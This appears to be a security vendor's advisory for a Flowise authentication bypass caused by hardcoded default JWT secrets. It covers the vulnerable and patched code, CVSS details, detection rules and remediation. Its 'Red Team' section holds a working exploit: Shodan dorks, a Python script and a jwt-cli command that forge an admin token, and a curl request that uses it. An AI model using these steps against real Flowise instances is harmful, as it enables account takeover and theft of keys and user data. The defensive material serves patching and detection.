CVE-2026-56271
Executive Summary
CVE-2026-56271 is a critical authentication bypass vulnerability in Flowise, an open-source low-code platform for building LLM applications. The vulnerability resides in the enterprise passport authentication middleware (packages/server/src/enterprise/middleware/passport/index.ts). Flowise versions 3.0.13 and earlier use weak, hardcoded default JWT secrets (auth_token, refresh_token) and default audience/issuer values (AUDIENCE, ISSUER). When the corresponding environment variables (JWT_AUTH_TOKEN_SECRET, JWT_REFRESH_TOKEN_SECRET, JWT_AUDIENCE, JWT_ISSUER) are not set, the application silently falls back to these publicly known defaults. This allows an attacker to forge valid JWTs and impersonate any user, including administrators, resulting in complete authentication bypass. The CVSS score is 9.8 (Critical).
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is in the Flowise npm package. The affected component is @flowise/server (or the main flowise package). The hardcoded secrets are embedded in the source code, making them discoverable by anyone who inspects the package. This is a classic example of a supply chain risk where a default configuration is insecure. Users who deploy Flowise without explicitly setting the JWT environment variables are vulnerable. The package is distributed via npm, and the vulnerable code is in the enterprise middleware, which is included in the default installation.
CVSS Breakdown & Threat Level
- CVSS Score: 9.8 (Critical)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely.
- Attack Complexity (AC): Low (L) - No special conditions are required.
- Privileges Required (PR): None (N) - No authentication is needed to exploit.
- User Interaction (UI): None (N) - No user action is required.
- Scope (S): Unchanged (U) - The vulnerable component is the only one affected.
- Confidentiality (C): High (H) - Full system compromise, data access.
- Integrity (I): High (H) - Full system compromise, data modification.
- Availability (A): High (H) - Full system compromise, denial of service possible.
Threat Level: Critical. An unauthenticated attacker can forge JWTs to gain administrative access, leading to full control of the Flowise instance, including access to LLM models, API keys, and user data.
Deep Dive & Mechanics
The vulnerability is in the enterprise authentication middleware. The code in packages/server/src/enterprise/middleware/passport/index.ts defines default values for JWT secrets and claims:
const JWT_AUTH_TOKEN_SECRET = process.env.JWT_AUTH_TOKEN_SECRET || 'auth_token';
const JWT_REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_TOKEN_SECRET || 'refresh_token';
const JWT_AUDIENCE = process.env.JWT_AUDIENCE || 'AUDIENCE';
const JWT_ISSUER = process.env.JWT_ISSUER || 'ISSUER';
When the environment variables are not set, the application uses these hardcoded strings. An attacker can forge a JWT with the following claims:
sub: The target user ID (e.g.,adminor a known user ID)aud:AUDIENCEiss:ISSUERiat: Current timestampexp: Future timestamp
The JWT is signed with the secret auth_token (for auth tokens) or refresh_token (for refresh tokens). The attacker can then use this token to authenticate to the Flowise API, gaining the privileges of the impersonated user.
The vulnerability is present in all versions before 3.1.0. The fix in 3.1.0 removes the hardcoded defaults and requires the environment variables to be set explicitly.
Vulnerable vs. Patched Code
Vulnerable Code (versions < 3.1.0):
// packages/server/src/enterprise/middleware/passport/index.ts
const JWT_AUTH_TOKEN_SECRET = process.env.JWT_AUTH_TOKEN_SECRET || 'auth_token';
const JWT_REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_TOKEN_SECRET || 'refresh_token';
const JWT_AUDIENCE = process.env.JWT_AUDIENCE || 'AUDIENCE';
const JWT_ISSUER = process.env.JWT_ISSUER || 'ISSUER';
Patched Code (version 3.1.0+):
// packages/server/src/enterprise/middleware/passport/index.ts
const JWT_AUTH_TOKEN_SECRET = process.env.JWT_AUTH_TOKEN_SECRET;
const JWT_REFRESH_TOKEN_SECRET = process.env.JWT_REFRESH_TOKEN_SECRET;
const JWT_AUDIENCE = process.env.JWT_AUDIENCE;
const JWT_ISSUER = process.env.JWT_ISSUER;
// If any of these are not set, the application should fail to start or return an error.
if (!JWT_AUTH_TOKEN_SECRET || !JWT_REFRESH_TOKEN_SECRET || !JWT_AUDIENCE || !JWT_ISSUER) {
throw new Error('JWT environment variables are not set. Please configure JWT_AUTH_TOKEN_SECRET, JWT_REFRESH_TOKEN_SECRET, JWT_AUDIENCE, and JWT_ISSUER.');
}
The patched code removes the fallback to hardcoded values and enforces that the environment variables must be set.
Exploitation & Lab Setup
Red Team
Prerequisites:
- A vulnerable Flowise instance (version < 3.1.0) with default configuration.
- Network access to the Flowise API endpoint (e.g.,
http://target:3000).
Exploit Steps:
Identify the target: Scan for Flowise instances. Shodan dorks:
"Flowise","Flowise login","Flowise JWT".Forge a JWT: Use a tool like
jwt-clior a Python script to create a JWT.Using Python:
import jwt import datetime # Hardcoded defaults secret = 'auth_token' audience = 'AUDIENCE' issuer = 'ISSUER' payload = { 'sub': 'admin', # Target user ID 'aud': audience, 'iss': issuer, 'iat': datetime.datetime.utcnow(), 'exp': datetime.datetime.utcnow() + datetime.timedelta(hours=1) } token = jwt.encode(payload, secret, algorithm='HS256') print(token)Using jwt-cli:
jwt encode --secret 'auth_token' --algorithm HS256 '{"sub":"admin","aud":"AUDIENCE","iss":"ISSUER","iat":'$(date +%s)',"exp":'$(date -d "+1 hour" +%s)'}'Use the forged token: Send a request to the Flowise API with the token in the
Authorizationheader.curl -X GET http://target:3000/api/v1/users \ -H "Authorization: Bearer <forged_token>"If successful, you will receive a response with user data, confirming authentication bypass.
Escalate privileges: The forged token can be used to impersonate any user, including administrators. Use it to access admin endpoints, modify configurations, or extract sensitive data.
Blue Team
Detection and Response:
Monitor for anomalous JWT usage: Look for JWTs with the following characteristics:
- Audience:
AUDIENCE - Issuer:
ISSUER - Algorithm:
HS256 - Secret:
auth_tokenorrefresh_token
- Audience:
Check environment variables: Verify that
JWT_AUTH_TOKEN_SECRET,JWT_REFRESH_TOKEN_SECRET,JWT_AUDIENCE, andJWT_ISSUERare set to strong, unique values.Audit logs: Review authentication logs for unexpected token usage, especially from unknown IP addresses.
Honeypot: Deploy a fake Flowise instance with default configuration to detect scanning and exploitation attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- Requests to Flowise API endpoints with
Authorization: Bearerheader containing a JWT withaud: AUDIENCEandiss: ISSUER. - Unusual traffic to
/api/v1/users,/api/v1/admin, or other sensitive endpoints.
- Requests to Flowise API endpoints with
File IOCs:
- Presence of forged JWT tokens in logs or temporary files.
- Modified configuration files (e.g.,
.env) that set weak JWT secrets.
System IOCs:
- Unexpected user accounts or privilege escalations.
- Unauthorized access to LLM models or API keys.
Detection Engineering
YARA Rule
rule CVE_2026_56271_JWT_Defaults {
meta:
description = "Detects hardcoded JWT defaults in Flowise source code"
author = "Valters IT"
date = "2026-01-01"
reference = "CVE-2026-56271"
strings:
$jwt_auth = "JWT_AUTH_TOKEN_SECRET || 'auth_token'"
$jwt_refresh = "JWT_REFRESH_TOKEN_SECRET || 'refresh_token'"
$jwt_audience = "JWT_AUDIENCE || 'AUDIENCE'"
$jwt_issuer = "JWT_ISSUER || 'ISSUER'"
condition:
any of them
}
Sigma Rule
title: Flowise JWT Default Secret Usage
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects the use of hardcoded JWT secrets in Flowise authentication
author: Valters IT
date: 2026/01/01
references:
- https://nvd.nist.gov/vuln/detail/CVE-2026-56271
logsource:
category: application
product: flowise
detection:
selection:
- jwt_audience: "AUDIENCE"
- jwt_issuer: "ISSUER"
- jwt_algorithm: "HS256"
condition: selection
falsepositives:
- Legitimate use of default values in development environments (should be avoided)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-56271 Flowise JWT Default Secret Exploitation"; flow:to_server; content:"Authorization"; nocase; content:"Bearer"; distance:0; pcre:"/Bearer\s+[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/"; pcre:"/\"aud\":\"AUDIENCE\"/"; pcre:"/\"iss\":\"ISSUER\"/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Upgrade to Flowise 3.1.0 or later. This is the only complete fix.
- If upgrade is not possible, set the following environment variables to strong, unique values:
JWT_AUTH_TOKEN_SECRETJWT_REFRESH_TOKEN_SECRETJWT_AUDIENCEJWT_ISSUER
- Restart the Flowise service after setting the environment variables.
- Rotate all existing JWT tokens and invalidate any sessions that may have been compromised.
Long-term Mitigations:
- Implement a secrets management solution (e.g., HashiCorp Vault, AWS Secrets Manager) to manage JWT secrets.
- Conduct a security audit of all Flowise instances to ensure no default configurations are in use.
- Monitor for exploitation attempts using the provided detection rules.
- Apply the principle of least privilege to all user accounts.
Workaround (if upgrade is not possible):
- Set the environment variables as described above. This will override the hardcoded defaults and prevent exploitation.
Valters IT
Securing Digital Frontiers